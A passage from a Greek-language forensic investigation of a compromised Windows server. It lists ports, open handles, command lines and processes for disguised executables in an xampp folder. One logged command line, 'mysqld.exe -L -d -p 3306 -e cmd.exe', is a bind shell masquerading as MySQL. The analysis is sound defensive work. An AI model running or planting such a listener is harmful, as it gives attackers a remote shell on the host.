style="color:black;"&gt;exe&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;txt&lt;/span&gt;&lt;/i&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;βλέπουμε&lt;span style=""&gt;  &lt;/span&gt;τις παρακάτω ύποπτες γραμμές.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;2180&lt;span style=""&gt;  &lt;/span&gt;mysqld -&gt;&lt;span style=""&gt;  &lt;/span&gt;3306&lt;span style=""&gt;  &lt;/span&gt;TCP&lt;span style=""&gt;   &lt;/span&gt;C:\Program Files\xampp\mysqld.exe &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;2360&lt;span style=""&gt;  &lt;/span&gt;apache -&gt;&lt;span style=""&gt;  &lt;/span&gt;8080&lt;span style=""&gt;  &lt;/span&gt;TCP&lt;span style=""&gt;   &lt;/span&gt;C:\Program Files\xampp\apache.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Φυσικά σαν&lt;span style=""&gt;  &lt;/span&gt;διαχειριστής του &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;server&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;A&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;δεν έβαλα ποτέ τον &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;apache&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;ή/και την &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;mysql&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;. &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Στη συνέχεια ανοίξαμε το αρχείο &lt;/span&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;handle&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;txt&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;/i&gt;&lt;span style="color:black;"&gt;για να δούμε τι άλλες πληροφορίες μπορούμε να μαζέψουμε για αυτές τις δύο &lt;span style=""&gt; &lt;/span&gt;περίεργες &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;processes&lt;/span&gt;&lt;span style="color:black;"&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;mysqld.exe pid: 2180 BLINK\vgorgas&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;    &lt;/span&gt;C: File&lt;span style=""&gt;  &lt;/span&gt;(RW-)&lt;span style=""&gt;   &lt;/span&gt;&lt;b style=""&gt;C:\Program Files\xampp\&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="" lang="EN-US"&gt;Windows Sec CenterSvc&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;.exe pid: 5940 BLINK\vgorgas&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;788: Section&lt;span style=""&gt;       &lt;/span&gt;\BaseNamedObjects\ShimSharedMemory&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;794: C: File&lt;span style=""&gt;  &lt;/span&gt;(RW-)&lt;span style=""&gt;  &lt;/span&gt;&lt;span style=""&gt;  &lt;/span&gt;C:\Program Files\xampp\&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;7A8: File&lt;span style=""&gt;  &lt;/span&gt;(RW-)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;------------------------------------------------------------------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;apache.exe pid: 2360 BLINK\vgorgas&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;6BC: File&lt;span style=""&gt;  &lt;/span&gt;(R-D)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;6C4: File&lt;span style=""&gt;  &lt;/span&gt;(R-D)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\assembly\GAC_32\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;6E8: File&lt;span style=""&gt;  &lt;/span&gt;(R-D) C:\Program Files\xampp\MScThesisForensicsTools.dll&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;6EC: File&lt;span style=""&gt;  &lt;/span&gt;(R--)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\assembly\pubpol14.dat&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;6F4: File&lt;span style=""&gt;  &lt;/span&gt;(RW-)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;6FC: File&lt;span style=""&gt;  &lt;/span&gt;(R--)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\assembly\NativeImages_v2.0.50727_32\index175.dat&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;740: File&lt;span style=""&gt;  &lt;/span&gt;(R-D)&lt;span style=""&gt;   &lt;/span&gt;C:\Documents and Settings\vgorgas\Application Data\Microsoft\CLR Security Config\v2.0.50727.42\security.config.cch&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;744: File&lt;span style=""&gt;  &lt;/span&gt;(RW-)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\WinSxS\x86_Microsoft.Windows.Common-Controls_6595b64144ccf1df_6.0.2600.2982_x-ww_ac3f9c03&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;74C: File&lt;span style=""&gt;  &lt;/span&gt;(R-D)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\CONFIG\enterprisesec.config.cch&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;750: File&lt;span style=""&gt;  &lt;/span&gt;(R-D)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\CONFIG\security.config.cch&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;784: File&lt;span style=""&gt;  &lt;/span&gt;(RW-)&lt;b style=""&gt; C:\Program Files\xampp\&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;7AC: Section&lt;span style=""&gt;       &lt;/span&gt;\BaseNamedObjects\Cor_Private_IPCBlock_2572&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;7B0: Section&lt;span style=""&gt;       &lt;/span&gt;\BaseNamedObjects\Cor_Public_IPCBlock_2572&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;7BC: File&lt;span style=""&gt;  &lt;/span&gt;(RW-)&lt;span style=""&gt;   &lt;/span&gt;C:\WINDOWS\WinSxS\x86_Microsoft.VC80.CRT_1fc8b3b9a1e18e3b_8.0.50727.762_x-ww_6b128700&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;7D4: Section&lt;span style=""&gt;       &lt;/span&gt;\BaseNamedObjects\ShimSharedMemory&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;------------------------------------------------------------------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;E&lt;/span&gt;&lt;span style="color:black;"&gt;πίσης κοιτώντας στο &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;Log&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;του &lt;/span&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;cmdline&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;exe&lt;/span&gt;&lt;/i&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;txt&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;φαίνονται οι εντολές μαζί μ ε τυχόντες παραμέτρους που εκτελέστηκαν&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;2180 -&lt;/span&gt;&lt;b style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt; C:\Program Files\xampp\mysqld.exe&lt;/span&gt;&lt;/b&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;C:\Program Files\xampp\mysqld.exe&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt; -L -d -p 3306 -e cmd.exe&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;2360 - &lt;/span&gt;&lt;b style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;C:\Program Files\xampp\apache.exe&lt;/span&gt;&lt;/b&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;C:\Program Files\xampp\apache.exe 8080&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;5490 - &lt;/span&gt;&lt;b style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;C:\Program Files\xampp\&lt;/span&gt;&lt;/b&gt;&lt;span style="" lang="EN-US"&gt; Windows Sec CenterSvc&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;.exe&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;span style=""&gt;  &lt;/span&gt;&lt;/span&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;C:\Program Files\xampp\&lt;/span&gt;&lt;/i&gt;&lt;span style="" lang="EN-US"&gt; Windows Sec CenterSvc&lt;/span&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;.exe&lt;/span&gt;&lt;i style=""&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Επίσης εκτελώντας την εντολή &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;pslist&lt;/span&gt;&lt;span style="color:black;"&gt;.&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;exe&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;πήραμε το παρακάτω αποτέλεσμα:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;Process information for BLINK:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;Name&lt;span style=""&gt;                &lt;/span&gt;Pid Pri Thd&lt;span style=""&gt;  &lt;/span&gt;Hnd&lt;span style=""&gt;   &lt;/span&gt;Priv &lt;span style=""&gt;       &lt;/span&gt;CPU Time&lt;span style=""&gt;    &lt;/span&gt;Elapsed Time&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;Mysqld&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;&lt;span style=""&gt;      &lt;/span&gt;&lt;span style=""&gt;      &lt;/span&gt; 2180&lt;span style=""&gt;   &lt;/span&gt;8&lt;span style=""&gt;  &lt;/span&gt;37&lt;span style=""&gt;  &lt;/span&gt;482&lt;span style=""&gt;  &lt;/span&gt;73884&lt;span style=""&gt;     &lt;/span&gt;0:5:02.437&lt;span style=""&gt;     &lt;/span&gt;1:58:57.390&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"   lang="EN-US"&gt;apache&lt;/span&gt;&lt;/i&gt;&lt;i style=""&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;&lt;span style=""&gt;            &lt;/span&gt;&lt;span style=""&gt; &lt;/span&gt;2360&lt;span style=""&gt;   &lt;/span&gt;8&lt;span style=""&gt;  &lt;/span&gt;16&lt;span style=""&gt;  &lt;/span&gt;687&lt;span style=""&gt;  &lt;/span&gt;61140&lt;span style=""&gt;     &lt;/span&gt;0:07:01.562&lt;span style=""&gt;     &lt;/span&gt;1:58:57.125&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Στο συγκεκριμένο &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;server&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;(Α) έτρεχαν 2 υπηρεσίες, &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;HTTP&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;και &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;mail&lt;/span&gt;&lt;span style="color:black;"&gt;&lt;span style=""&gt;  &lt;/span&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span  lang="EN-US" style="color:black;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Δύο υπηρεσίες με μεγάλο ιστορικό επιθέσεων. Ωστόσο έχει παρατηρηθεί ότι τελευταία υπάρχει αυξανόμενη τάση επιθέσεων στους &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;web&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;servers&lt;/span&gt;&lt;span style="color:black;"&gt;. Διάφορες στατιστικές μελέτες λένε ότι το μεγαλύτερο ποσοστό επιθέσεων (με αυξητικές τάσεις) γίνεται σε &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;web&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;servers&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="margin-bottom: 0.0001pt; line-height: normal;"&gt;&lt;span style="color:black;"&gt;Οπότε η επόμενη κίνηση ήταν να ελένξω τα &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;logs&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;του &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;web&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;και &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;mail&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;server&lt;/span&gt;&lt;span style="color:black;"&gt;. Επέλεξα να ξεκινήσω απο τα &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;logs&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span style="color:black;"&gt;του &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;web&lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt; &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;server&lt;/span&gt;&lt;span style="color:black;"&gt; καθώς και να ψάξω για περίεργα αρχεία μέσα στους υποκαταλόγους του &lt;/span&gt;&lt;span  lang="EN-US" style="color:black;"&gt;IIS&lt;/span&gt;&lt;span 